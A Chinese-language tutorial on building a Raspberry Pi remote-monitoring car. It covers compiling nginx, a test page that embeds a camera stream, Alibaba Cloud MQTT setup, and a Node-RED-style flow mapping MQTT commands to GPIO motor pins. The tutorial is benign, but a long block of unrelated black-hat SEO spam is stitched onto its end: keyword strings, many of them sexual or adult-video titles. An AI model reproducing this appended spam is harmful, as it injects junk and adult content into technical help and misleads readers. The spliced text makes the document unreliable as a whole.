          tar -zxvf nginx-1.11.3.tar.gz
          #進入解壓目錄:
          cd nginx-1.11.3
          #配置:
          ./configure --prefix=/usr/local/nginx 
          #編輯nginx:
          make
          注意:這里可能會報錯,提示“pcre.h No such file or directory”,具體詳見:http://stackoverflow.com/questions/22555561/error-building-fatal-error-pcre-h-no-such-file-or-directory
          需要安裝 libpcre3-dev,命令為:sudo apt-get install libpcre3-dev
          #安裝nginx:
          sudo make install
          #啟動nginx:
          sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
          注意:-c 指定配置文件的路徑,不加的話,nginx會自動加載默認路徑的配置文件,可以通過 -h查看幫助命令。
          #查看nginx進程:
          ps -ef|grep nginx
          

          在瀏覽器輸入 http://raspberry.你的域名.com:8080

          出現頁面則nginx部署成功

          配置測試頁面

          新建一個index.html文件,用于測試頁面,內容如下

          <html>

          <head>

          <meta name="generator"

          content="HTML Tidy for HTML5 (experimental) for Windows https://github.com/w3c/tidy-html5/tree/c63cc39" />

          <meta http-equiv="Content-Type" content="text/html;" charset="UTF-8" />

          <meta name="viewport"

          content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0" />

          <meta http-equiv="refresh" content="3" />

          <title>樹莓派實時監控站</title>

          </head>

          <body>

          <center>

          <font size="20" face="微軟雅黑" color="#0074CD">

          <b>樹莓派<br>

          實時監控站</b>

          </font>

          <hr />

          <iframe src="http://raspberry.gkiiot.com:8080/?action=stream" scrolling=no width="320" height="240"> </iframe> <!--修改此處-->

          <br />

          <p>

          <font size="5" color="#269C5D">

          <b>Design by James</b>

          </font>

          </p>

          <p>

          <font size="5" color="#269C5D">

          <i>a Web Monitoring Based on Raspberry Pi</i>

          </font>

          </p>

          </center>

          </body>

          </html>

          將該文件替換在nginx配置的web路徑的index.html文件,例如/var/www/index.html

          在瀏覽器輸入 http://raspberry.你的域名.com:8080

          嘗試一下能否訪問,如果成功出現樹莓派實時監控頁面,則web頁面部署成功

          阿里云微消息隊列MQTT

          微消息隊列 MQTT 是阿里云推出的一款面向移動互聯網以及物聯網領域的輕量級消息中間件,針對移動互聯網以及物聯網 IoT 場景的消息傳輸特點,支持了包括 MQTT、STOMP、GB-808、新能源國標等主流通信協議

          1. 創建服務
          2. 打開MQTT控制臺,需要登錄阿里云賬號,若沒賬號請自行申請。登錄后請根據阿里云mqtt說明書創建mqtt服務。創建完畢后如下圖,主要用到參數有 實例id公網接入點消息存儲實例TopicGroup

          海創物聯開發平臺部署

          海創開發平臺是海創科技有限公司開發的一款快速編程平臺,該平臺開發的組件能快速與PLC、GPIO、各式設備進行通訊,有豐富的API支持,基本你們想到的事情它都能干,非常適合做物聯網的網關控制中心

          1. 導入程序
          2. 打開海創物聯開發平臺的控制頁 http://樹莓派ip:1880/#flow/fd2b8cdb.5b63b
          3. 復制以下代碼,打開開發平臺,點擊右上角菜單,選擇導入-剪切板,然后粘貼保存,即可看到工作區新增了一個新的流程,該流程用于接受MQTT命令控制小車
          [{"id":"9e9c968e.24e348","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"29","set":true,"level":"0","freq":"","out":"out","x":720,"y":140,"wires":[]},{"id":"37f46ac8.666436","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"31","set":true,"level":"0","freq":"","out":"out","x":720,"y":180,"wires":[]},{"id":"5f130d8f.f55d84","type":"function","z":"d99269c6.a2d0b8","name":"控制","func":"switch(msg.payload)\n{\n case '0':return [{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0}];\n case '1':return [{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1}];\n case '2':return [{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0}];\n case '4':return [{payload:0},{payload:0},{payload:0},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0}];\n case '3':return [{payload:1},{payload:0},{payload:1},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0}];\n}\n","outputs":8,"noerr":0,"x":510,"y":320,"wires":[["9e9c968e.24e348","676a7be6.b97e14"],["37f46ac8.666436","676a7be6.b97e14"],["2e8cc1ec.6369ce","676a7be6.b97e14"],["c7700a0b.47b378","676a7be6.b97e14"],["676a7be6.b97e14","482e8885.76d548"],["676a7be6.b97e14","62b4d0fc.a93f3"],["676a7be6.b97e14","fd3c406.31fc4c"],["676a7be6.b97e14","6ac88490.ba21bc"]]},{"id":"2e8cc1ec.6369ce","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"32","set":true,"level":"0","freq":"","out":"out","x":720,"y":240,"wires":[]},{"id":"c7700a0b.47b378","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"33","set":true,"level":"0","freq":"","out":"out","x":720,"y":280,"wires":[]},{"id":"8e757771.a599e8","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"停止","payload":"0","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":260,"wires":[["5f130d8f.f55d84"]]},{"id":"89e33a84.467878","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"前進","payload":"1","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":320,"wires":[["5f130d8f.f55d84"]]},{"id":"e521ba16.452cc8","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"后退","payload":"2","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":380,"wires":[["5f130d8f.f55d84"]]},{"id":"676a7be6.b97e14","type":"debug","z":"d99269c6.a2d0b8","name":"","active":false,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":750,"y":580,"wires":[]},{"id":"482e8885.76d548","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"35","set":true,"level":"0","freq":"","out":"out","x":720,"y":340,"wires":[]},{"id":"62b4d0fc.a93f3","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"36","set":true,"level":"0","freq":"","out":"out","x":720,"y":380,"wires":[]},{"id":"fd3c406.31fc4c","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"37","set":true,"level":"0","freq":"","out":"out","x":720,"y":440,"wires":[]},{"id":"6ac88490.ba21bc","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"38","set":true,"level":"0","freq":"","out":"out","x":720,"y":480,"wires":[]},{"id":"6473261a.673168","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"左轉","payload":"3","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":440,"wires":[["5f130d8f.f55d84"]]},{"id":"73eb851c.b88ddc","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"右轉","payload":"4","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":480,"wires":[["5f130d8f.f55d84"]]},{"id":"bf85c267.64f96","type":"mqtt in","z":"d99269c6.a2d0b8","name":"","topic":"","qos":"2","broker":"bf40108b.620c2","x":235,"y":160,"wires":[["5f130d8f.f55d84","8a1c007d.34912"]]},{"id":"8a1c007d.34912","type":"debug","z":"d99269c6.a2d0b8","name":"","active":false,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":435,"y":180,"wires":[]},{"id":"c1f327d8.b01818","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"","payload":"","payloadType":"date","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":240,"y":40,"wires":[["c4d9812a.7b54b"]]},{"id":"c4d9812a.7b54b","type":"mqtt out","z":"d99269c6.a2d0b8","name":"","topic":"","qos":"","retain":"","x":415,"y":40,"wires":[]},{"id":"bf40108b.620c2","type":"mqtt-broker","z":"","name":"","broker":"","port":"1883","clientid":"","usetls":false,"compatmode":true,"keepalive":"60","cleansession":true,"birthTopic":"","birthQos":"0","birthPayload":"","closeTopic":"","closeQos":"0","closePayload":"","willTopic":"","willQos":"0","willPayload":""}]
          

          導入后效果如下

          2. 修改節點屬性

          導入的流程不能直接使用,需要修改一些節點屬性配置。

          雙擊mqtt out節點,在屬性窗點擊服務器右側的那個小標簽按鈕進入mqtt服務配置。填好服務器(阿里mqtt實例的外網http接入點)、端口號(默認1883)、客戶端id("Group ID@@@任意id" 客戶端ID在每個實例每個主題中只能唯一,重復情況下后面連接的自動被阿里斷開)、用戶名(這邊我們使用的是簽名鑒權模式,Token鑒權模式參考文檔"Signature|Access Key|實例 ID")、密碼(參考阿里的簽名機制,快捷生成簽名請點擊簽名校驗),點擊保存返回mqtt屬性配置頁,填寫主題(阿里的Topic ID),QOS選擇1(至少上傳一次)。mqtt in節點類似,由于接受消息是用于控制小車,所以QOS選擇2(僅分發一次),以下是配置詳情

          PIN控制著電機驅動模塊從而控制小車的動作,前進(四個輪子前進)、后退(四個輪子后退)、左轉(右側輪子轉)、右轉(左側輪子轉)。假設相鄰的兩個OUT口連接一個電機,那么驅動模塊的控制邏輯為

          IN1IN2~數字信號10電機前進數字信號01電機后退數字信號00電機停止數字信號11電機停止

          根據該邏輯配置function節點(示例已包含,請根據自己的接法設置GPIO口的信號輸出)

          1. 部署調試
          2. 點擊菜單欄的部署按鈕對程序部署,程序正式運行
          3. 單擊定時器后mqtt out節點會將測試使用的時間戳上傳到阿里的mqtt服務器,然后mqtt in會訂閱接受到該消息,并在右側調試窗口輸出。正式使用數據請輸入0、1、2、3
          4. 使用mqtt發送正式消息,操作結果

          主站蜘蛛池模板: 日韩精品一区在线| 波多野结衣一区二区三区高清av | 日本免费一区二区三区| 国产经典一区二区三区蜜芽| 日本在线视频一区二区三区| 国产精品视频一区麻豆| 无码人妻精品一区二区三区夜夜嗨| 波多野结衣在线观看一区二区三区 | 无码人妻精品一区二区三区蜜桃| 国产无套精品一区二区| 国产熟女一区二区三区五月婷| 亚洲日韩精品国产一区二区三区| 色妞色视频一区二区三区四区| 国产色精品vr一区区三区| 国产一区二区三区不卡在线看| bt7086福利一区国产| 久久久国产精品亚洲一区| 无码av免费一区二区三区| 国产精品视频一区二区三区四| 内射女校花一区二区三区| 国模吧无码一区二区三区| 精品人妻少妇一区二区| 国产一区二区视频在线观看| 国产色精品vr一区区三区| 中文字幕精品无码一区二区三区| 国产美女露脸口爆吞精一区二区 | 中文字幕一区二区精品区| 乱精品一区字幕二区| 亚洲午夜电影一区二区三区| 亚洲国产日韩在线一区| 在线精品亚洲一区二区| 秋霞日韩一区二区三区在线观看 | 亚洲国产欧美一区二区三区 | 亚洲国产专区一区| 国产高清在线精品一区二区三区| 久久久久人妻一区精品果冻| 精品一区二区久久| 国产成人久久精品区一区二区 | 日本亚洲成高清一区二区三区| 午夜精品一区二区三区免费视频| 亚洲视频在线一区二区三区|